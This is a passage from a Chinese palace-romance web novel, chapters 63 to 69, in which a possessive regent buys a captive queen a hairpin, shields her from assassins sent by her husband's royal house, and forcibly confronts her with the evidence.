为了凑齐第一批给金国的岁贡,裴清宴已经将王宫里所有值钱的东西都变卖了。 她身为楼兰的皇后,又怎么能在这金国的京城,为了自己的一点喜好,开口向曾经的兄长,如今的仇人讨要一支簪子? 她做不到。 那点微弱的火苗,很快便被现实的冰水浇灭了。 她缓缓地收回目光,长长的睫毛垂下,掩去了眼底所有的情绪,只留下一片黯然。 这点细微的神情变化,却一丝不落地,全被澹台湛收入了眼中。 他一直都在看她。 从她进门开始,他的目光就没离开过。 他看她如何冷漠地对待沈月凝的挑衅。 看她如何像木偶一样站在那里,仿佛这世间的一切都与她无关。 也看到了她望向那支银簪时,眼中一闪而过的光亮,和随之而来的落寞。 心口,莫名地一堵。 那支簪子如此普通,根本入不了他的眼。 可她偏偏就看上了。 是为了那上面的花?楼兰的国花? 一想到她是在透过这支簪子,思念那片土地,思念那个男人,澹台湛心底的无名火便噌地一下窜了起来。 他迈开长腿,几步就走到了她面前。 沈月凝看见他动了,还以为是要来自己身边,刚要欣喜地迎上去,却见他径直越过自己,停在了凤栖鸾的面前。 “看上了?” 凤栖鸾的心一紧,抬起头,对上他那双深不见底的眸子。 “没有。”她矢口否认。 “呵。”澹台湛发出一声短促的冷笑,他抬手,指向那支银簪。 “喜欢就说。” “本王还不至于,连一支破簪子都送不起。” “王爷的好意,臣妇心领了。”她一字一顿,声音冷得像冰,“只是无功不受禄,这支簪子,我受不起。” 澹台湛看着她这副倔强又疏离的模样,怒火更盛。 “受不起?” 他缓缓地勾起唇角,那笑容里却没有半分温度,只有刺骨的寒意。 “也是。” “凤栖鸾,你如今是楼兰的皇后,想要什么,自然该由你的夫君给你买。” 他刻意加重了夫君两个字的读音,像是要将这两个字碾碎在齿间。 “只是……”他话锋一转,眼神里的讥诮越发浓烈,“本王倒是忘了。” “你的夫君,楼兰的王,如今只怕连给你买支簪子的钱都拿不出来了吧?” “让自己的皇后,在别国的京城里,对着一支最廉价的银簪望眼欲穿。” “凤栖鸾,他就是这么对你的?真是可怜。” 闻言,凤栖鸾直接对上了男人的眸子,毫无惧意的开口。 “是!楼兰是国库空虚!” “那是因为战争!” “他不是买不起!他是楼兰的王!他把所有的钱都用在了安抚战死的将士家属上!用在了重建被你们烧毁的家园上!用在了让流离失所的子民能有一口饭吃上!” 她往前逼近一步,眼眶通红,死死地盯着他。 “在他心里,子民的温饱,比他自己的性命,比我这个皇后的几件首饰,重要千倍!万倍!” 第64章 鹣鲽情深 第六十四章 鹣鲽情深 她往前逼近一步,眼眶通红,死死地盯着他。 “在他心里,子民的温饱,比他自己的性命,比我这个皇后的几件首饰,重要千倍!万倍!” 仅仅只是这两句话,便点燃了男人的滔天怒火。 “好一个爱民如子,”他嘴角轻轻勾起,冷笑着看着她,阴狠的像是想将面前的人给吞噬个干干净净。 “若我不提醒,皇后娘娘是不是也忘了自己应该是金国人?” 就为了一个废物,竟然心疼到这种地步?! 忽的,凤栖鸾的下巴被澹台湛掐住。 “等哪天我将你的情郎头首带到你面前,不知道你会不会还用这种眼神去心疼他?” 凤栖鸾听到了他一番话,彻底愣住。 从什么时候开始,在她面前还会偶尔撒娇傲娇的少年郎,居然会说出这样一番话。 似乎是明白自己吓到了对方。 澹台湛眼神缓了些许,但那种与生俱来的压迫感却还是让对方喘不过气来。 “凤栖鸾,你睁大眼睛看清楚,能跟你这一切的都是我澹台湛,能让金国万邦来朝的也是我。跟着他只会受委屈受穷,连一只这样的破簪子,都买不起。” 但凤栖鸾几乎是下意识的吼了出来。 “那又如何?我不稀罕!” 瞧见场面有一些失控,旁边的沈月凝笑意盈盈的开口。 “王爷,你也真是的,为什么非要这样吓唬姐姐呢?” 她轻轻靠近了男人的右侧,柔顺的开口道,“姐姐不过就是惦记着她自己的夫君罢了,这有什么错?” 见二人都没有怎么搭理他,她面上也不尴尬。 做出一副担心的模样,轻轻拉了拉男人的衣袖,又柔声劝道。 “王爷你也别生气了,姐姐又不是故意的,您瞧,姐姐跟楼兰王真是鹣鲽情深。” “姐姐,你也真是的,怎么能这么跟王爷说话呢?王爷也是心疼你,怕你受了委屈。楼兰王将子民看得比什么都重,固然是仁德的好君王,可他到底……到底还是让你受苦了呀。” 她故作心疼地叹了口气,“不像我们王爷,最是疼惜身边的人。臣妾想要什么,王爷眉头都不会皱一下的。” “是啊,”凤栖鸾冷冷地看着她,扯出一抹讥讽的笑。 “王爷自然是疼你,毕竟,整个金国谁不知道,沈家为了王爷的大业,立下了汗马功劳。” 沈月凝脸色变得难看。凤栖鸾是在暗讽她能有今天,靠的不过是家世罢了。 “你……” 澹台湛终于不耐烦的开口,打断了两人之间的对峙。 他看了一眼凤栖鸾这一副伶牙俐齿,有带着几分酸意的样子,倒是比刚刚那副死气沉沉的模样顺眼的多。 愿意为他生气就好。 心里的那股无名火莫名其妙的就在此刻消散了几分,但脸色依然冷的能够掉渣。 “还看着干什么?结账!” 他对着一旁差点吓呆了的掌柜开口。 掌柜的如蒙大赦,连忙拿着算盘跑过来,点头哈腰的,生怕跑慢了一步。 “是!是!” 凤栖鸾只静静的待在旁边,也没有再多说些什么。 而沈月凝,神情中似乎有几分得意。 心中的不甘也被压制了下去,再也不敢在这个节骨眼上触什么眉头,连忙调整了表情。 重新挂上了那副温婉贤淑的笑容,将自己挑的那几样昂贵的首饰递了过去,柔声说道。 “掌柜的,将这些也一同包起来。” 旁边的店小二将沈月凝手中的首饰一同抱了起来,掌柜的算盘打的噼里啪啦响,而澹台湛连眼皮都没有抬一下,直接挥了挥手。 在旁的侍卫便递过来了一张银票,面无表情的交给了掌柜。 都说摄政王府富可敌国,看来也的确如此。 就在掌柜的正打算将账都结清楚时,澹台湛的目光又落在了那只静静躺在角落的银簪上,他沉默了片刻,眼神微微凝住。 下一秒,便开口说道。 “那个,也一同包起来吧。” 此花落下来的瞬间,众人都有些许的差异,刚刚的那一幕他们都记在了心里。 知晓凤栖鸾买了银簪的时候,摄政王还发了好大一通气,怎么现在又主动为美人买下这簪子来了。 “我不要。” 女子的声音低沉,带着几分的沙哑。 她不需要靠着澹台湛的怜悯还有赏赐过活。 澹台湛买的东西,现在在她的眼里,不过就是对自己尚且还有几分感情的宠物的些许怜悯罢了。 但是偏偏她最不喜欢的就是这样的怜悯。 “你若是再说不要的话,信不信?不用过几天金国的铁骑就能够重新到楼兰情郎的帐下。” 凤栖鸾的脸被气的通红,咬牙切齿的开口。 “你!” “我什么我?” 澹台湛的神色依然有几分不耐,朝着旁边的掌柜喊了一句。 “没有听到本王刚刚说的吗?把这个单子给本王包起来!” 掌柜的愣了一下才反应了过来,连忙点头哈腰的应道,“哎,好嘞!王爷好眼光!” 他手脚麻利的将那只银簪用苏锦好好包好放进了一个精致的盒子中,连同沈月凝那些珠光宝气的首饰一并捧了过来。 澹台湛看都没有看沈月凝的东西,只是伸手径直的拿过了那个装着银子的小木盒。 转身走到了凤栖鸾的身边,也不看他,随手就将木盒扔在了她的怀里。 “拿着!” 凤栖鸾下意识的接住了那个盒子,入手微凉,指尖都跟着颤了一下。 她不明白的抬起了眸子,像是努力去理解男人这番作为的意义到底是什么? “别误会。” 澹台湛自然是知道凤栖鸾心中所想,冷着声音开口解释道。 “本王只是不想看着金国的公主为了一个区区破簪子在外面丢人现眼。” “本王好歹还是金国人,金国的体面可比这个破簪子贵重多了。” 说罢他便不再理会担任在原地的凤栖鸾,径直转身大步流星的走出了珍宝阁。 凤栖鸾微微低头看着怀中那个小小的银簪,一时百感交集,不知作何反应。 她的确是很喜欢这个簪子,但这个是澹台湛买的。 第65章 徒生异变 第六十五章 徒生异变 而在旁的沈月凝瞧见了这一幕,心里恨得咬牙切齿。 她费尽了心思,说了那么多话,挑了那么多昂贵的首饰,到头来澹台湛的注意力却依然全部都在凤栖鸾的身上。 虽然说嘴上说着最难听的话,却还是把她看上的东西都买了,这是何等的讽刺。 凭什么!? 凭什么凤栖鸾想要的东西就算是自己不开口,甚至是她开口说不要,却依然有男人眼巴巴的凑过去,将她心爱之物通通买来放在她的眼前。 而自己,精打细算了那么多年,甚至陪在他身边那么长的时间。 换来的,这只是他随口的敷衍,甚至连看都不愿意去看的表情。 沈月凝死死的抓紧了手里的首饰盒,搁着她的掌心生疼,可这点疼又如何比得上心里的不甘。 瞧这旁边呆愣住的凤栖鸾,面上的恨意更重了几分,但很快又被温婉表情给掩盖了下去。 “姐姐我就说了,王爷就是刀子嘴豆腐心,”她笑眯眯的开口,“从前他对妹妹我也是这般,人家都说了不想要的东西,他还要拼命塞在我面前。” “王爷的性格便是如此,何况这些小小的银子对于他来说根本就不值一提。” 凤栖鸾听了她的话,沉默了几分。 原来仅仅只是不值一提的事情,亏她刚刚还有几分的感动。 而这感动,很快便也依然消云散了。 一行人从珍宝阁出来,气氛却比进去时更加尴尬。 澹台湛黑着脸走在了最前面,周身散发出来的寒气几乎都要把整条路上的路人给吓跑。 身后便是凤栖鸾,小心翼翼的抱着那个木盒,沉默的跟在他身后不远的地方,垂着头,也不知道在想什么。 沈月凝笑眯眯的拉住了澹台湛的袖子,亦步亦趋的跟在了澹台湛的身侧,温婉开口。 “王爷,时候也不早了,不如我们。……” 剩下的话,她还没有说出口,但就在这个时候徒生异变。 一道剑光雷声。 “保护王爷!” 旁边的澹台湛和侍卫是最先发现的。 只见街道的两旁,在喧闹的人群中,毫无征兆的穿出来了七八个黑衣蒙面人,手中都握着大刀。 他们身形矫健,招式很辣,一看就是训练有素的死士! “王爷……王爷,妾身好怕……” 沈月凝慌不择乱的躲在了澹台湛的身侧,而澹台湛看都没有看一眼他这些杀手明显就不是冲着他们来的,冲着的…… 他看了一眼旁边虽然害怕,但依然冷静的要死的凤栖鸾。 五年的时间,她连胆量都增长了不少,虽然是一件好事情,可不知道为什么他却并不是那么开心。 也不知道这五年到底发生了什么,这番要人命的事情,她都能够面不改色吗? “有刺客!!” “啊,救命啊!” 百姓们惊慌失措的尖叫,四散奔逃,小贩的摊子被撞倒在地瓜果,还有蔬菜滚落了一地,场面瞬间混乱不堪! 很快,旁边还熙熙攘攘的路人都跑的差不多了,整条街道基本只有澹台湛等人,还有刺客方。 那几个黑衣人配合默契,转瞬间就冲破了外围侍卫的防线。 几柄长刀带着凌厉的破风声,从四面八方,直直的朝着凤栖鸾的要害刺了过来。 他们果然就是奔着凤栖鸾的性命来的! 这一切都发生在电光火石之间。 凤栖鸾的瞳孔骤然收紧,甚至还来不及做出任何的反应,只能眼睁睁的看着那几把索命的刀在自己眼前越放越大! 就要这般的死了吗? 不知为何在自己死前,她最想看到的竟然不是裴清宴,她抬起眸子,下意识的就想要去看旁边的澹台湛。 而就在这千钧一发之际。 离他几步之远的澹台湛,几乎是在听到了第一声暴喝的声音。 就猛的转过了身子。 反应快的超乎想象,那一刻他所有的矜贵,冷淡,权衡,算计全都消失不见,只剩下最原始刻在骨子里的本能。 紧挨在他身边的沈月凝下意识的惊呼了一声,伸手就想要去抓澹台湛的手臂寻求庇护。 澹台湛却看都没看她一眼,毫不犹豫地、甚至可以说是粗暴地,一把就甩开了她伸过来的手! 他用尽了全身的力气,那力道之大,让沈月凝控制不住地尖叫一声,整个人都被甩得向后踉跄着摔倒在地! 而澹台湛,在甩开她的同一时间,身形如电,一个箭步就冲到了凤栖鸾的面前! 他没有丝毫的迟疑,一把将那个早已吓得脸色惨白、呆立在原地的女人,死死地、紧紧地,护在了自己的怀里! 他用自己的后背,用自己高大的身躯,为她筑起了一道最坚固的屏障,将所有可能的风险,都严严实实地挡在了外面! “铿!铿!锵——!” 几乎就在他抱住凤栖鸾的下一秒,几柄长刀便狠狠地砍在了他刚才站立的地方,激起一串刺眼的火花! “保护王爷!保护公主!” 澹台湛的亲卫们也终于反应了过来,怒吼着冲上前,与那群黑衣刺客瞬间交战在了一起! 刀光剑影,杀声震天! 整个街道,彻底沦为了血腥的战场! 而这一切的混乱与杀戮,似乎都与那个小小的、被紧紧护住的方寸之地无关。 凤栖鸾的脸被死死地按在澹台湛的胸膛上,鼻尖萦绕着他身上那股熟悉的、令人心安的龙涎香,耳边是他如擂鼓般有力的心跳声。 她甚至能感受到,他抱着自己的手臂,因为用力而微微地颤抖着。 她整个人都懵了,脑子里一片空白。 澹台湛的侍卫都是精锐中的精锐,那几个刺客虽然悍不畏死,但终究是寡不敌众。 不过短短几十个呼吸的工夫,战斗便已接近尾声。 刺客们或死或伤,最后一个见势不妙,想要咬破藏在齿间的毒囊自尽,却被一名侍卫眼疾手快地卸掉了下巴,被死死地按在了地上。 血腥味渐渐散去,街道上恢复了诡异的安静。 澹台湛却仿佛没有听到外界的任何声音。 在确认危险解除的第一时间,他立刻松开了怀里的人,双手紧紧地扣着凤栖鸾的肩膀,第一时间低头,急切地检查着她的状况。 “有没有受伤?!” 第66章 本能的保护她 第六十六章 本能的保护她 男人的声音竟然带着几分的后怕,像是极其的在意面前人儿的死活。 凤栖鸾被澹台湛晃的回过了神,呆呆的看着他,摇了摇头。 “我没事……你放心吧。” 这一幕自然而然的被沈月凝收入了眼里,她眼里的恨意几乎要凝为实质化。 明明自己也在他们旁边,明明自己也差点因为凤栖鸾而受伤,但是这些澹台湛都看不见,他担心的永远只会是凤栖鸾。 而她就在不远处,甚至被澹台湛狠狠甩开,狼狈的坐在冰冷的地上。 原本华丽的衣裙沾满了灰尘,精心梳理的发髻也散乱不堪,手掌在摔倒的时候被地上的石子擦破,穿来一阵火辣辣的疼。 这一点皮肉之痛怎能比得上她心里的万分之一。 她恰好的抬起头,将刚才发生的一切都看得清清楚楚。 她看到了澹台湛是如何毫不犹豫的甩开自己,又是如何奋不顾身的冲向了凤栖鸾。 更是看到了他如何用自己的身叫那个女人死死的护在怀里。 而她。 这个名正言顺的摄政王妃,就这样被他弃之如敝的扔在地上不闻不问。 凭什么? 沈月凝死死的咬着自己的嘴唇,指甲深深的陷入了掌心,那双平日里温婉动人的眸子,此刻只剩下了滔天怨恨。 她……要凤栖鸾死! 瞧见了凤栖鸾没事之后,澹台湛那颗悬着的心总算是缓缓落了下去,松开了她。 紧绷的神经一放松,后怕和怒火便席卷而来。 他猛地转过了身,看向了那些被侍卫死死按在地上的活口。 “给本王带回去!” “不管用什么方法,必须要撬开他的嘴,本王要知道,到底是谁给他们的胆子!” 侍卫们立马应声。 发生了这样的事情,这些自然也是逛不下去了。 澹台湛看了一眼在地上狼狈不堪,正含泪望着自己的沈月凝。 眉头一皱,眼里闪过了一丝厌烦,对着身后的侍卫头领吩咐道。 “派几个人,送王妃回府。” 说罢,他便一个眼神都没有放在沈月凝的身上,冷冷的拉住了凤栖鸾的手臂。 “回宫吧。” 回宫的路上,马车里的氛围压抑到了极点。 两人依然分坐在两端,谁都没有说话。 凤栖鸾抱着那个装着银子的木盒垂着头,脑子乱糟糟的,今天发生的一切都超过了他的预料。 她本以为暗杀的事情只会发生在宫中,那自然也就是宫里的人对她动的手。 但没有想到…… 尽管在宫外,都有人费尽心思派了那么多个杀手,就是为了要取她的性命。 到底是谁? 如此的费尽心思,非要置她于死地不可? 而澹台湛…… 她悄悄抬眼,瞥了一眼对面那个闭目养神的男人。 他依旧是那副冷峻淡漠的样子,仿佛刚才那个紧张失态的人不是他。 可他方才奋不顾身护住自己的那一幕,却像烙印一样,深深地刻在了她的脑海里,挥之不去。 她看不懂他。 一路无话,直到马车停在了未央殿门口。 “到了。”澹台湛睁开眼,声音恢复了惯有的冰冷。 凤栖鸾默默地下了车,福了福身:“多谢王爷相送。” 澹台湛没有应声,只是深深地看了她一眼,便放下车帘,吩咐车夫掉头,径直朝着诏狱的方向而去。 诏狱,是金国最令人闻风丧胆的地方。 这里阴暗潮湿,常年不见天日,空气中弥漫着血腥和腐朽的气味。 寻常人只是站在门口,都会觉得两股战战,寒气从脚底板直冲天灵盖。 澹台湛面无表情地走在长长的甬道里,狱卒们纷纷跪伏在地,连头都不敢抬。 “王爷。” 侍卫长早已等候在最深处的审讯室门口,见到他来,连忙上前行礼,神色凝重。 “问出来了?” 澹台湛的声音没有一丝波澜,仿佛刚才在街上那个紧张失态的人不是他。 “是。” 侍卫长不敢怠慢,从怀中取出一块用布包裹的东西,双手呈了上去,“王爷,您看这个。” 澹台湛接过,展开布帛。 那是一块玄铁令牌。 令牌的正面刻着一只狰狞的狮子图腾,而令牌的背面则是一个用楼兰古文雕刻的文字。 澹台湛的瞳孔猛的一缩。 这个图腾,这个字…… 他其实是认得的。 和楼兰交战这么多年,对楼兰的王室也有过些许了解。 这个明显就是楼兰王室的私人图腾。 这一番的刺杀就算与楼兰王没有关系,那必然也跟楼兰有关系。 “这是从那个活口身上搜出来的。” 侍卫长小声的开口说道,“属下已经用尽了办法,想要从那刺客的口中探查出更多,但那刺客嘴硬的很,还差点要咬牙自尽了。” “不过尽管他嘴硬,却还是招了一些事情,他们的确是楼兰王室的人,似乎是接到了谁的密令……前来刺杀皇后娘娘的。” 但具体是谁下的这个刺杀令,还没有等他们从那几个刺客的口中探查出来,那几个活口都已经咬牙自尽了。 澹台湛的脸色阴沉的可怕。 “有没有说要杀凤栖鸾的理由?” 侍卫支支吾吾的开口。 “那几个刺客说,楼兰的往事都认为皇后娘娘身为金国的公主,此次议和必定是偏向于金国,才会签下如此丧权辱国的条约,是楼兰的罪人。” 说到这里的时候,侍卫抬头看了一眼澹台湛的脸色,顿了顿又开口说道。 “他们还说……如今皇后娘娘被扣在金国只会成为威胁楼兰的把柄,只要杀了皇后,金国便失去了最重要的人质,楼兰或许还有一线生机,可以撕毁合约……” 话落下之后,整个昭狱,陷入了一片死寂。 澹台湛的脸色阴沉的吓人,那一块坚硬的玄铁几乎要被他硬生生的捏碎。 楼兰王室…… 又是楼兰王室! 楼兰那一群小人,明明凤栖鸾为他们付出了那么多,竟然全都被视而不见吗? 一股难以言喻,混杂着暴怒,后怕,还有铺天盖地的心疼的情绪,瞬间席卷了他。 他恨,很楼兰那一群人居然敢这样对待她。 他更恨凤栖鸾,为了一个裴清宴,宁愿在那种虎狼环伺的地方,过着朝不保夕的日子,也不愿意回金国来。 难道裴清宴的魅力竟然这么大吗? 大到她宁愿付出生命,都想要待在他的身边? 从前他从未有过嫉妒的情绪,但此时此刻。 他甚至强烈感觉到了自己就是在嫉妒裴清宴…… 第67章 有什么资格拥有她 第六十七章 有什么资格拥有她 裴清宴,就是这么保护她的?任由自己的亲人,一次又一次地对他的妻子痛下杀手?! 他连自己的后院都管不好,还有什么资格拥有她?! “呵……呵呵……” 澹台湛突然低低地笑了起来,那笑声在阴森的诏狱里回荡,显得格外骇人。 “好一个楼兰王室!” 他眼中的杀意,几乎要凝成实质。 “王爷,那这个刺客……” “处理掉。”澹台湛的声音冷得没有一丝温度,“做得干净点。” “是!” 澹台湛转身,大步流星地走出了诏狱。 他周身裹挟着一股骇人的戾气,径直调转方向,快马加鞭,再次入宫。 ………… 未央殿内,一片死寂。 凤栖鸾刚刚沐浴完,换上了一身干净的寝衣。手臂上的伤口换了药,重新包扎好。 春桃瞧见了自家娘娘手臂上的伤口,心疼的开口道。 “娘娘,您还疼吗……” 凤栖鸾摇了摇头,坐在了窗边,手里无意识的摩擦着那个装着银簪的小木盒。 春桃瞧见了她这个模样,自然也知道她在思念着什么人。 只是担心自家娘娘还会着凉,还是关切的开口说道。 “娘娘,夜深了,您早些歇息吧。” 她将桌上的那一碗安神汤端了过来,轻手轻脚的走到了凤栖鸾的身边,满眼担忧。 而凤栖鸾依然是摇了摇头。 “你把安神汤放桌上吧,你先歇息,不必管我。” 春桃听了她这话,坚持的说道。 “奴婢怎么能不管您呢!” 而就在此时。 砰的一声巨响,大殿的门被人从外面一脚踹开。 “啊!” 春桃被这一声巨响吓得尖叫了一声,手里的汤碗哐当一声摔在了地上,碎裂了一地。 她以为又是刺客,正想喊侍卫。 而下一秒,澹台湛便出现在了眼前,只是周身的气息如同煞神一般。 阴沉的可怕。 “王爷……” 春桃吓得腿都软了,下意识地张开手臂挡在凤栖鸾身前,“您……您这么晚了,来做什么?” 澹台湛看都没看她一眼,只是用那双冰冷彻骨的眸子,死死地盯着坐在窗边的凤栖鸾。 “滚开。” “娘娘……”春桃回头,无助地看着凤栖鸾。 凤栖鸾终于回过神来,她缓缓站起身,将春桃拉到自己身后,迎上澹台湛那骇人的目光,冷冷地开口。 “王爷深夜闯我寝殿,是何道理?” 澹台湛没有回答她的问题,只是径直走到她面前。 “跟我走。” “我不去。” 凤栖鸾想也不想地就拒绝了,“我累了,要休息了。” “本王说,跟我走。”他重复了一遍。 凤栖鸾只是静静的抬起了眸子。 “我为何要跟你走?” 他把自己当成了什么人?呼之即来,挥之则去吗? 若是放在之前,澹台湛或许还有几分的耐心,会跟她好好解释一番缘由。 但此刻他所有的耐心都已经消散殆尽,见面前的女人依旧一副死都不从的样子,心里不知为何又涌起了一番怒意。 一把攥住了她的手腕。 一字一顿的开口道,“不要让本王重复第二遍,跟本王走!” “澹台湛!你放开我!你要带我去哪里?!” 凤栖鸾又惊又怒,奋力挣扎。 可她的那点力气,在他面前,不过是螳臂当车。 澹台湛一言不发,就这么强硬地、半拖半拽地,将她从未央殿里拉了出去。 “澹台湛!你混蛋!!!” 看着凤栖鸾这又气又怒的样子,像是一只发怒了的小猫。 澹台湛的动作轻柔了些许。 身后传来了春桃的声音,“娘娘!王爷!你不能这样!” 春桃喊着追了出来,却被守在门口的侍卫死死拦住,只能眼睁睁地看着凤栖鸾的身影消失在夜色之中。 澹台湛将她塞进一辆早已备好的马车,一路疾驰,最终停在了一处极其隐秘的偏僻宫殿前。 这里守卫森严,空气中都透着一股血腥味。 “澹台湛,你到底想要干什么?大半夜的把我带到这种鬼地方作甚?” 她相信澹台湛不会害了她的性命,若是真想拿她怎么样,今天就不可能那般保护着自己。 可大半夜的……他带自己来这里到底是为了什么? “你进去了便知道了。” 男人的声音骤然响起,不带任何的情绪。 他将她带进了一间密不透风的暗室。 暗室里只点着一盏昏黄的油灯,墙壁上挂着各种令人毛骨悚然的刑具。 而正中央的桌子上,孤零零地放着一样东西。 “看看吧。” 澹台湛松开她。 凤栖鸾踉跄了一下,扶着桌沿才站稳。她定睛看去,瞳孔骤然收缩! 那是一块玄铁令牌。 上面刻着的,是她再熟悉不过的,楼兰王室的图腾! “这……这是……” 澹台湛没有说话,只是伸出修长的手指,将那块令牌翻了个面。 令牌的背面,那个用楼兰古文雕刻的、极其隐晦的字,像一条毒蛇,狠狠地咬在了凤栖鸾的心上! “你给我看这个是什么意思?这是什么东西?” 凤栖鸾依然是不选择相信。 “这还能是什么东西?这个令牌便是从今天的刺客身上搜出来的。那些个活口已经交代了,正是楼兰的王室要取你的性命。” 听到了澹台湛的话,凤栖鸾的彻底愣住。 楼兰人……为什么要她的命? “好好看看你自己的好家人,看看这就是你拼死维护,心心念念想要回去的楼兰。” “他们又是怎么对你的?” 男人的手轻轻举起了那块令牌,还沾染着些许血迹的令牌,就这样举在了凤栖鸾的眼前。 “好好看看,这就是想要你命的地方。” “他们说你是金国的公主,便是楼兰的罪人,说你留在这里是威胁楼兰的把柄,所以要清理门户,以绝后患。” 凤栖鸾摇了摇头,眼神中充斥的不敢置信。 “不可能……” “好一个不可能,凤栖鸾,你为了他们背弃我,背弃金国,和亲五年,你又换了什么?” 凤栖鸾浑身的力气都像是被抽干了,顺着墙壁,无力地滑坐在地上。 原来……是这样。 原来在他们眼里,自己从来都不是家人,只是一个可以随时舍弃的罪人,一个必须被清除的障碍。 她为了两国和平,受尽屈辱。 她为了保全楼兰,甘愿为质。 可到头来,想要她死的,不是羞辱她的敌人,反而是她拼死守护的“家人”! 何其可笑!何其悲哀! 凤栖鸾身心俱创,再也说不出一句辩解的话。 她只是呆呆地坐在冰冷的地上,双目空洞,万念俱灰。 她喃喃自语,声音轻得像一阵风,随时都会散去。 “我没有家了……” “我早就……没有家了……” “无论在楼兰,还是在金国……我都是多余的……” 第68章 心疼她了 第六十八章 心疼她了 看着她这副失魂落魄、脆弱不堪的模样。 澹台湛鬼使神差的多了几分悔意。 他是不是……逼得太狠了? 她毕竟才刚刚经历了一场生死刺杀,心神未定,自己就把这血淋淋的真相,如此残忍地撕开摆在她面前…… 这个念头只是一闪而过,转念眸子又冷了下来。 他凭什么心疼她? 她现在知道痛了?知道绝望了? 那五年前,她抛下他远嫁和亲的时候,有没有想过他也会痛? 有没有想过他也会绝望? 她现在所承受的一切,不过是她当年识人不清,所托非人的苦果! 澹台湛眼中的那一丝动容迅速褪去。 他居高临下地看着她,眼神里没有半分怜悯。 这一切,都是她自找的。 他冷漠地转过身,对着暗室外的侍卫头领吩咐道:“来人。” “王爷。” “送她回未央殿。派一队人,把未央殿给本王围起来,没有本王的命令,一只苍蝇都不许飞进去。” “是!” “还有,”他顿了顿,补充道,“传柳太医过去,给她看看。” 侍卫头领愣了一下,但很快便低头应下:“遵命。” ………… 凤栖鸾不知道自己是怎么回到未央殿的。 她像是被人抽走了魂魄的木偶,任由侍卫将她送回,任由春桃将她扶到床榻上。 “娘娘!娘娘您怎么样了?王爷他……他把您怎么了?” “您别吓奴婢啊,您说句话啊娘娘!” 凤栖鸾看着眼前哭得梨花带雨的春桃,嘴角扯出一抹比哭还难看的笑。 “春桃……” “你说,我是不是很可笑?” “娘娘……” “我以为我深明大义,我以为我忍辱负重,是为了家国,是为了亲人……” 她低低地笑着,眼泪却顺着眼角无声地滑落。 “可到头来,我不过是他们眼中的一颗弃子,一个罪人。” “我以为我回到了故国,可故国……却想要我的命。” “我真傻,是不是?” “娘娘您别这么说!不是您的错!是他们……是他们狼心狗肺!”春桃抱着她,泣不成声,“娘娘,您还有奴婢,奴婢会一直陪着您的!” 凤栖鸾没有再说话,只是静静地流着泪,任由那股蚀骨的冰寒,将自己彻底淹没。 她觉得自己像个笑话。 一个天大的笑话。 柳太医很快便赶往过来。 一进门,看到的就是凤栖鸾那副失魂落魄、双目空洞的模样,饶是见惯了宫中风浪的柳太医,也不由得在心里咯噔了一下。 “微臣……参见公主。”他放下药箱,小心翼翼地行礼。 春桃连忙擦了擦眼泪,搬来一个绣墩,哽咽着说道。 “柳太医,您快给我们娘娘看看吧,她……她从回来就一直是这个样子,不说话,也不动,奴婢好害怕……” “姑娘莫急。”柳太医安慰了一句,这才走到床榻边,轻声对凤栖鸾说道。 “公主,请恕微臣冒犯,容微臣为您请个脉。” 凤栖鸾像是没有听到一般,依旧怔怔地望着虚空中的某一点。 春桃见状,只能走上前,小心翼翼地将凤栖鸾的手臂从锦被里拿出,放到了一旁的脉枕上。 柳太医不敢耽搁,连忙坐下。 指尖传来的脉象,细弱、紊乱。 这哪里只是受了惊吓那么简单?分明就是急怒攻心,伤了根本了! 他收回手,又仔细看了看凤栖鸾的脸色,见她面无血色,唇瓣干裂,眼下更是一片浓重的青黑,心中更是沉重。 “太医,我们娘娘怎么样了?”春桃紧张地问道。 柳太医站起身,对着春桃微微摇了摇头,示意她借一步说话。 两人走到外间,柳太医才压低了声音,凝重地说道。 “公主这是心病。惊吓过度,又兼之郁结于心,若是再这么下去,怕是要……怕是要熬坏身子啊。” 春桃一听,眼泪又下来了:“那……那可怎么办啊?太医,您一定要救救我们娘娘啊!” “唉……”柳太医叹了口气。 “这心病啊还是需要心药医,老付先开一副安神的方子,并且按时给公主煎服。” 床边的女子依旧没有任何情绪,只担任坐在原地。 春桃瞧见了这一幕,既是心疼又是委屈的,连忙点点头。 “奴婢肯定会日伺候着公主服药的。” 柳太医瞧见春桃这一副模样,又是重重的叹了一口气,以叮嘱的口吻说道。 “只是这药石之力终究有限,最重要的,还是要让公主自己想开,切莫再钻牛角尖了。” 他走到外间的桌案旁,迅速提笔写下了一张药方,递给春桃。 “记住,这几日公主的饮食一定要清淡,多备些温水,让她好生静养,万万不可再受任何刺激了。” “多谢太医,多谢太医!” 柳太医又叮嘱了几句,便被殿外那些面无表情的侍卫送了出去。 整个未央殿,被围得水泄不通。 里里外外都是围绕着的侍卫,大部分都是摄政王派来保护公主殿下的。 不管是陛下亦或者是摄政王,都绝对不允许公主再出事。 所以…… 在没有彻底厘清这刺杀背后的真相之前,他们不敢再让她置于任何未知的危险之中。 这一夜,凤栖鸾彻夜未眠。 而澹台湛,也同样一夜无眠。 御书房内,灯火通明。 澹台湛独自一人坐在案前,面前堆着小山一样高的卷宗和密报。 这些,全都是关于此次刺杀,以及楼兰近期所有动向的情报。 他一目十行,看得极快,修长的手指飞速地翻阅着,眉头却越锁越紧。 楼兰王室…… 裴清宴……他在这件事里,又扮演了什么样的角色? 是真的对此一无所知,还是……默许,甚至纵容? 可不管是哪一种情况都是他的无能。 一个废物,根本配不上她。 他拿起另一份密报,上面详细记录了凤栖鸾和亲这五年来,在楼兰王宫里的一些境遇。 楼兰太后一直对她这个金国儿媳心存芥蒂,多番刁难。 而裴清宴,表面上对她爱护有加,却也多次因为朝堂压力,让她受了不少委屈…… 澹台湛越看,脸色越是阴沉。 他攥着密报的手,因为太过用力,指节都捏得泛白。 这就是她过的日子? 第69章 执迷不悟 第六十九章 执迷不悟 这就是她宁愿舍弃自己,也要回去的家? 他闭上眼,脑海中不由自主地浮现出她今夜那副万念俱灰、脆弱不堪的模样。 他烦自己,烦自己竟然会对她产生那该死的心疼! 他更气她,气她的愚蠢,气她的执迷不悟! 可无论再怎么气,再怎么恨,一想到她可能会死,一想到今天街上那惊心动魄的一幕,他的心脏还是会不受控制地紧缩起来。 他发现,自己根本无法忍受失去她的可能。 哪怕只是想一想,都觉得无法承受。 次日一早,养心殿的李广权便亲自到了摄政王府传旨,请王爷入宫议事。 凤璟一夜未眠,眼下带着浓重的乌青,见到澹台湛进来,立刻屏退了左右。 “阿湛,街上行刺的事,查得怎么样了?”凤璟的声音里满是疲惫和担忧,“还有栖鸾……她怎么样了?朕派人去未央殿问安,都被你的人拦了回来,说没有王爷的命令,谁也不许探视。你这是何意?” 